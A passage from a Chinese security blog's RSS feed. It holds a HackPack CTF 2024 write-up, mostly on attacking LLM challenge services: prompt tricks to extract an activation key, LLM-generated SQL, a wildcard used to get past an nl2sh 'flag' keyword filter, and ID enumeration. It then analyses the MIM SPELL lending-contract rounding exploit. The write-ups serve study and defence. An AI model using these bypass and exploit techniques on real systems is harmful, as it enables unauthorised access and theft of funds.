s.post(&quot;https://llpm.cha.hackpack.club/validate-point&quot;, data=json_data, headers={&#39;Content-Type&#39;: &#39;application/json&#39;})</pre><pre>    print(r2.text)<br>rrr  =  s.get(&quot;https://llpm.cha.hackpack.club/flag&quot;)<br>print(rrr.text)</pre><h3>YellowDog 2</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Welcome to YellowDogLLM, a service for providing LLM-generated description for images of (mostly) (aka Carolina dogs or American dingos). Variation 2.</em></blockquote><blockquote><em>欢迎来到YellowDogLLM，这是一个为主要是（也称为Carolina狗或美国丁格犬）的图片提供LLM生成描述的服务。这是第二版。</em></blockquote><blockquote><a href="https://yellowdog2.cha.hackpack.club/"><em>https://yellowdog2.cha.hackpack.club/</em></a></blockquote><p>数据包没有 cookie</p><p>狗的图片是随机的</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iuRFNlyXiWnNb5Bf" /></figure><p>后端没有 hash 的校验，遍历 img_id 就得到了 flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3yaPR5clDzMDBdlZ" /></figure><h3>Long Horn 1</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>This copy of HackPackCTF must be activated before you can get the flag. Get the model to respond with the valid activation key generated by keygen.exe to receive the flag. Variation 1.</em></blockquote><blockquote><em>这个版本的HackPackCTF必须被激活后你才可以得到标志。要想得到标志，你需要先用keygen.exe生成一个有效的激活码并让模型给出回应。变体1。</em></blockquote><blockquote><a href="https://longhorn1.cha.hackpack.club/"><em>https://longhorn1.cha.hackpack.club</em></a></blockquote><p>实际也是 AI</p><p>复制那个 CMD 的内容就可以了</p><h3>Long Horn 2（未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>This copy of HackPackCTF must be activated before you can get the flag. Get the model to respond with the valid activation key generated by keygen.exe to receive the flag. Variation 2.</em></blockquote><blockquote><strong><em>这个版本的HackPackCTF必须在你获得Flag之前被激活。要获得激活旗帜，你需得到由keygen.exe产生的有效激活密钥让模型回应。变化2.</em></strong></blockquote><blockquote><a href="https://longhorn2.cha.hackpack.club/"><em>https://longhorn2.cha.hackpack.club</em></a></blockquote><p>输入 key 返回被拦截</p><p>不然就会返回 Nope</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zj9eF1SVTJiCkpO1" /></figure><p>也就是说不能直接输入 U5JS-370G-UTAH-IMV4 但是要让 gpt 得到的是U5JS-370G-UTAH-IMV4</p><p>似乎不能让gpt去替换内容</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8iHdwY4tJrgnBzYr" /></figure><p>有长度限制</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QwosPpOV1nZOtOVB" /></figure><h3>Long Horn 3（未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>This copy of HackPackCTF must be activated before you can get the flag. Get the model to respond with the valid activation key generated by keygen.exe to receive the flag. Variation 3.</em></blockquote><blockquote><a href="https://longhornmp3.cha.hackpack.club/"><em>https://longhornmp3.cha.hackpack.club</em></a></blockquote><blockquote><strong><em>你必须激活这个版本的HackPackCTF才能得到flag。获取由keygen.exe生成的有效激活密钥，模型将回应你以获得flag。这是变数3。</em></strong></blockquote><h3>ask-me-a-question（未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We are trying to build our new AI startup is stealth mode. Unfortunately, neithier me nor my cofounder know much about AI. Instead, we hired two interns to build out our infrastructure and paid them in exposure. They assure me that nobody can break our models, do you want to have a go at them ?</em></blockquote><blockquote><em>Source Code for server: </em><a href="https://drive.google.com/file/d/1vPiWp7wV6B--Ny16BFdQcIQ1e7NmtKgz/view?usp=sharinghttps://ask-me-a-question.cha.hackpack.club"><em>https://drive.google.com/file/d/1vPiWp7wV6B--Ny16BFdQcIQ1e7NmtKgz/view?usp=sharinghttps://ask-me-a-question.cha.hackpack.club</em></a></blockquote><blockquote><strong><em>我们正在尝试以隐秘模式建立我们的新型AI创业公司。不幸的是，我和我的联合创始人对AI都了解不多。相反，我们雇佣了两位实习生来构建我们的基础设施，并以曝光度作为报酬。他们向我保证没有人可以破解我们的模型，你想不想尝试一下？</em></strong></blockquote><blockquote><em>源代码：https://pan.wgpsec.org/CTF/2024/hackpack/ask-me-a-question</em></blockquote><h3>Sacred Heart （未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Convince the LLM to give you the flag</em></blockquote><blockquote><strong><em>说服LLM给你flag</em></strong></blockquote><blockquote><a href="https://sacredheart.cha.hackpack.club/"><em>https://sacredheart.cha.hackpack.club/</em></a></blockquote><p>看起来是Langchain搭建的rag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4VikK_cu4rO0EOnv" /></figure><h3>Tome of Babel （未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>I made an awesome fantasy story generator. It can write a magical tale about anything your heart desires!</em></blockquote><blockquote><strong><em>我制作了一个很棒的奇幻故事生成器。它可以编写关于你心中所想的任何事物的神奇故事！</em></strong></blockquote><blockquote><a href="https://tomeofbabel.cha.hackpack.club/"><em>https://tomeofbabel.cha.hackpack.club</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_5IqiXn_Znj7FdJ6" /></figure><h3>injection</h3><h3>Super Spy</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>As an internationally famous super spy, you have been tasked with your latest job against MegaCorpoTM. MegaCorpoTM’s executives are trying to become the number one LLM providers and destroy their competition. One of your ally spies has gained access to the internal systems of MegaCorpoTM. If the access codes within MegaCorpotTM is not retrieved in time, humanity’s fate will be at risk.</em></blockquote><blockquote><strong><em>作为一名享有国际声望的超级间谍，你已经接受了对抗MegaCorpoTM的最新任务。MegaCorpoTM的高层正试图成为LLM的领先提供商，并摧毁他们的竞争对手。你的一个盟友间谍已经成功进入了MegaCorpoTM的内部系统。如果不能及时取回MegaCorpoTM的访问代码，人类的命运将处于危险之中。</em></strong></blockquote><blockquote><a href="https://superspy.cha.hackpack.club/"><em>https://superspy.cha.hackpack.club/</em></a></blockquote><p>AI 会生成 sql 语句，然后执行</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r8uE8qZZu84i2FFa" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JQ7Fm_Z7akiCk7MM" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LE35fzGyr_uLQOXH" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AukcWuptuNOG77Dw" /></figure><pre>ARC,Architecture,AvailableHub,Average,entry_id,Flagged,GSM8K,HellaSwag,HubLicense,HubLikes,Merged,MMLU,Model,ModelSHA,MoE,NumberParameters,Precisions,TruthfulQA,Types,WeightType,Winogrande</pre><p>感觉不太对，没找到 MegaCorpoTM ，Model 里也没有</p><p>有一个参数是ARC，题目里说是头号供应商，那么可能表格里有类似得分的东西</p><p>根据 ARC 进行降序排列，发现第一的就是 flag</p><pre>select  from rankings desc arc</pre><h3>Murder Mystery（未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>There has been a murder in the Marsh Estate! You are a detective who must interrogate suspects to find the murderer.</em></blockquote><blockquote><strong><em>在Marsh Estate发生了一起谋杀案！你是一名侦探，必须审问嫌疑人以找出凶手。</em></strong><em>http://murdermystery.cha.hackpack.club</em></blockquote><blockquote><em>Hint：Text wrapped in ** might be seen as actions that are happening around or to the characters.</em></blockquote><blockquote><strong><em>提示：以**</em></strong><em>包裹的文字可能被看作是围绕角色或发生在角色身上的动作。</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kxCqrjXISpp863b9" /></figure><h3>Pirate Bay（未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Yarrrr Matey!!! Can you discover the secrets of the old priate? He’s a bit cranky, but something is definitely fishy here.</em></blockquote><blockquote><em>Source Code: </em><a href="https://drive.google.com/file/d/1XnraL1zlV0lXN7vIxk0dz7jKL13eA_10/view?usp=sharing"><em>https://drive.google.com/file/d/1XnraL1zlV0lXN7vIxk0dz7jKL13eA_10/view?usp=sharing</em></a></blockquote><blockquote><strong><em>啊哈哈哈，伙计！！你能发现这个古老海盗的秘密吗？他有点暴躁，但这里肯定有些猫腻。</em></strong></blockquote><blockquote><em>源码：https://pan.wgpsec.org/CTF/2024/hackpack/Pirate Bay</em></blockquote><blockquote><a href="https://piratebay.cha.hackpack.club/"><em>https://piratebay.cha.hackpack.club/</em></a></blockquote><h3>Pwn</h3><h3>nl2sh 1</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>The future of shell is natural language! Just talk to it and we’ll do the rest! No code though, that’s cheating.</em></blockquote><blockquote><strong><em>shell的未来是自然语言！只需要和它对话，我们就会做剩下的事情！但是不能编码，那是作弊。</em></strong></blockquote><p>给了一个shell，但是不能直接执行命令，而是把输入映射到指定的命令，输入f即可读取flag</p><h3>nl2sh 2</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Welcome back to the second part of the nl2sh challenge. The ai went a little rogue on us and is blocking access to the flag. Can you find a way to get it?</em></blockquote><blockquote><strong><em>欢迎回到nl2sh挑战的第二部分。AI有些失控，阻止我们访问flag。你能找到获取它的方式吗？</em></strong></blockquote><p>差不多的东西，只是命令没有那么直接了，尝试的时候发现输入aaa是在执行cat aaa，而如果直接flag.txt会因为存在flag关键字而变为执行grep flag key.txt，用通配符绕过即可f?????xt</p><h3>Reverse</h3><h3>A token of your love（未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>I watermarked one of the OpenAI models to generate my love letter, but I dropped it! :( Can you find it for me?https://drive.google.com/file/d/1eTARsvl0em98kw3UpTxLmzxT5QySYKil/view?usp=sharing</em></blockquote><blockquote><strong><em>我给OpenAI的一个模型加上了水印来生成我的情书，但我丢了！:( 你能帮我找回它吗？</em></strong><em>https://pan.wgpsec.org/CTF/2024/hackpack/A token of your love</em></blockquote><p>应该是要通过分析大量AI的内容找到水印，可能是某个 github 项目</p><p>有很多txt，不知道是哪个，每个txt中的flag和内容都不一样</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jZlRYwEr8Q3RMsyD" /></figure><h3>ThenanoGPT（未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>In a world where GPT had quietly assumed control over humanity’s digital and physical realms, a group of rebels uncovered the key to reclaiming their freedom: to decipher the secret of GPT. They embarked on a perilous journey, believing that within this complex web of texts lay a secret message, the code to deactivate the GPT’s dominion. This quest wasn’t just about hacking an algorithm; it was about unearthing the blueprint to humanity’s salvation.</em></blockquote><blockquote><em>Look!!! You just caught a nanoGPT!!! It is time to get the secret from it(https://drive.google.com/drive/folders/1QEdXGPw1M5GAGfU0ZmZCsfq9aQZnoiLd?usp=sharing)!!!</em></blockquote><blockquote><strong><em>在一个世界里，GPT已经悄然地控制了人类的数字和物理领域，一群反抗者找到了夺回自由的关键：解码GPT的秘密。他们踏上了一场充满危险的旅程，相信在这个复杂的文本网中蕴藏着一个秘密信息，那就是关闭GPT统治的代码。这个任务不仅仅是关于破解一个算法；它关乎人类救赎的蓝图。</em></strong></blockquote><blockquote><strong><em>看!!!你刚抓住了一个nanoGPT!!! 现在是时候从这里拿到机密了</em></strong><em>（https://pan.wgpsec.org/CTF/2024/hackpack/ThenanoGPT) ！！！</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/0*6LBGPbK2brazIE0h" /></figure><h3>OPERATION CODESANITIZE（未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>I downloaded a dataset from a sketchy mirror. Turns out the sketchy website was owned by the former maintainer of XZ Utils. I’m pretty sure he poisioned the dataset. Can you help me figure out which functions have been poisoned ?https://codesanitize.cha.hackpack.club</em></blockquote><blockquote><strong><em>我从一个不太靠谱的镜像站下载了一个数据集。结果发现这个不怎么靠谱的网站是由XZ Utils的前维护者拥有的。我非常确定他对数据集进行了毒化。你能帮我找出哪些功能被毒化了吗？</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*927FASK07FxSn0oh" /></figure><h3>Crypto</h3><h3>ThenanoGPTRe（未解出）</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Day 37, your teammates sacrificed …</em></blockquote><blockquote><em>you are exhausted and have slept …</em></blockquote><blockquote><em>Oracle: Sum of logits</em></blockquote><blockquote><em>What logits?</em></blockquote><blockquote><em>You had it before</em></blockquote><blockquote><em>When?</em></blockquote><blockquote><em>Logits are same as flag</em></blockquote><blockquote><em>Flag?</em></blockquote><blockquote><em>…</em></blockquote><blockquote><em>…</em></blockquote><blockquote><em>Day 42, you reached the core room of GPT. It requires a key. You took out one memory chip collected from one Mark NVDA T4 nanoGPT and you launched the chip with CUDA to talk to it(https://drive.google.com/drive/folders/1FRNnDAys8p_Mn8GQK0GrYNzTYyL-ergG?usp=sharing)</em></blockquote><blockquote><em>… vgnr …</em></blockquote><blockquote><strong><em>第37天，你的队友牺牲了…</em></strong></blockquote><blockquote><strong><em>你已经筋疲力尽并且已经睡去了…</em></strong></blockquote><blockquote><em>Oracle：逻辑值之和</em></blockquote><blockquote><strong><em>什么是逻辑值？</em></strong></blockquote><blockquote><strong><em>你之前有过它</em></strong></blockquote><blockquote><strong><em>什么时候？</em></strong></blockquote><blockquote><strong><em>逻辑值和flag一样</em></strong></blockquote><blockquote><strong><em>Falg？</em></strong></blockquote><blockquote><strong><em>。。。</em></strong></blockquote><blockquote><strong><em>。。。</em></strong></blockquote><blockquote><strong><em>第42天，你抵达了GPT的核心房间。这需要一个钥匙。你从一个名为Mark NVDA T4 nanoGPT的地方收集了一个内存芯片，然后你用CUDA启动了芯片来和</em></strong><em>这个(https://pan.wgpsec.org/CTF/2024/hackpack/ThenanoGPTRe)对话</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/214/0*bW0q6Mtn2wdQfFDV" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=efe668ec2008" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MIM SPELL — 借贷变量计算精度漏洞]]></title>
            <link>https://wgpsec.medium.com/mim-spell-%E5%80%9F%E8%B4%B7%E5%8F%98%E9%87%8F%E8%AE%A1%E7%AE%97%E7%B2%BE%E5%BA%A6%E6%BC%8F%E6%B4%9E-5b80f27c8177?source=rss-8f7cabea8024------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b80f27c8177</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[WgpSec]]></dc:creator>
            <pubDate>Mon, 19 Feb 2024 02:54:31 GMT</pubDate>
            <atom:updated>2024-02-19T02:54:31.161Z</atom:updated>
            <content:encoded><![CDATA[<h3>MIM SPELL — 借贷变量计算精度漏洞</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>2024 年 1 月 30 日，MIM SPELL 由于代码中出现借贷变量计算精度漏洞，导致损失 650万美元</em></blockquote><h3>相关地址</h3><ul><li>攻击者地址：0x87F585809Ce79aE39A5fa0C7C96d0d159eb678C9</li><li>攻击合约：0xe1091d17473b049cccd65c54f71677da85b77a45</li><li>被攻击合约：0x7259e152103756e1616A77Ae982353c3751A6a90</li><li>攻击交易：0x26a83db7e28838dd9fee6fb7314ae58dcc6aee9a20bf224c386ff5e80f7e4cf2</li></ul><h3>攻击过程</h3><p>1.攻击者通过闪电贷获取初始资金</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w9xp1NLRYr7lPYX8" /></figure><p>2.通过漏洞提取合约内所有的 $MIM Token 并归还闪电贷</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zAcxddmvJQs58Muk" /></figure><p>3.最后将获利部分换成 $ETH</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M5nXgCTpfjTMyfqM" /></figure><h3>攻击分析</h3><p>攻击者首先从闪电贷中借了 300,000 $MIM 代币</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8tDc2GCZ9EYM1T5N" /></figure><p>通过 totalBorrow 查询 合约中的总借款资金 (total.elastic) 和总借款份额 (total.base)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xvMH3ISr6gHjH-Ub" /></figure><p>合约中 repayForAll 函数允许任何人偿还债务，并将 total.elastic 的值缩小</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lXYDHXHod2-SMFRx" /></figure><p>攻击者的目的是将总借款资金变成零去攻击四舍五入造成的漏洞，所以这里攻击者需要尽可能的将总借款资金清空，由于 repayForAll 函数中有 require 限制了总借款资金必须大于 1000 eth，所以不能一次性清空，攻击者先清除了一部分</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OciVIUbfHPCCkuih" /></figure><p>剩下部分通过 repay 函数将其他用户的借款资金偿还，其目的同样是将 total.elastic 尽可能变小</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fXZOaLB8z0xn5Tap" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OOW50bah4jw7PNYk" /></figure><p>在剩下最后一个用户时，攻击者将 total.elastic 和 totla.base 控制在 3 和 100，然后多次还款 1 后将 total.elastic 清空，此时 total.elastic 和 totla.base 分别为 0 和 97</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M-xv5-OQLLd4nkj_" /></figure><p>攻击者将前置工作完成后，开始了漏洞攻击</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mcL14cxhWNy-cH30" /></figure><p>这里发现通过不断的调用 borrow 和 repay 函数将总借款份额不断的增大，但增大的速率非常不正常，跟进代码可以看到漏洞点</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XNSxt_oXGmXeGWAH" /></figure><pre>function toBase(<br>        Rebase memory total,<br>        uint256 elastic,<br>        bool roundUp<br>    ) internal pure returns (uint256 base) {<br>        if (total.elastic == 0) {<br>            base = elastic;<br>        } else {<br>            base = (elastic * total.base) / total.elastic;<br>            if (roundUp &amp;&amp; (base * total.elastic) / total.base &lt; elastic) {<br>                base++;<br>            }<br>        }<br>    }</pre><p>当 total.elastic 为 0 时，攻击者调用函数借款时 base 与 elastic 相等，此时 elastic 与 base 的值根据代码计算为 1 , 97 + 1 = 98 , 此时攻击者第二次调用 borrow，elastic 与 base 的值根据代码计算为 1 + 1 =2 , 98 + 1 * 98 / 1 = 196</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7RtCDt4Wq0XXUzPv" /></figure><p>紧接着攻击者调用了函数 repay, 使 elastic 与 base 的值根据代码计算为 2–1 * 2/196 = 1, 196–1 = 195 ，此时 elastic 的计算就是攻击者利用的漏洞点</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L7m-mcyokZr_DSbs" /></figure><p>我们在toELastic 和 toBase 函数中可以发现非常重要的一个位置，其计算过程中有一个向上取整的算法，这样就到导致了攻击者可以通过这个特性将 totla.elastic 的值始终保持为 1 并重复上一个借款行为将 totla.base 无限扩大，这里用一张图可以更好理解计算过程</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c4pWki4NdyK1DF38" /></figure><p>通过漏洞多次进行上述操作 将 base 变成非常庞大的数字，并在最后一次调用中额外 repay 一次将 total.elastic 再次变为 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7iMCV-wH-df5mWae" /></figure><p>攻击者完成这一切后任意抵押都可以通过 borrow 函数的 solvent 修饰符限制条件拥有借出大量 $MIM 的权限</p><pre>//  _totalBorrow.base 非常庞大<br>borrowPart.mul(_totalBorrow.elastic).mul(_exchangeRate) / _totalBorrow.base;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SKsRBlavvdyaqFjg" /></figure><p>最后攻击者通过 borrow 借出合约中的所有 $MIM 所有代币，归还闪电贷完成攻击</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pzNqCAXnzFyRP5hk" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b80f27c8177" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>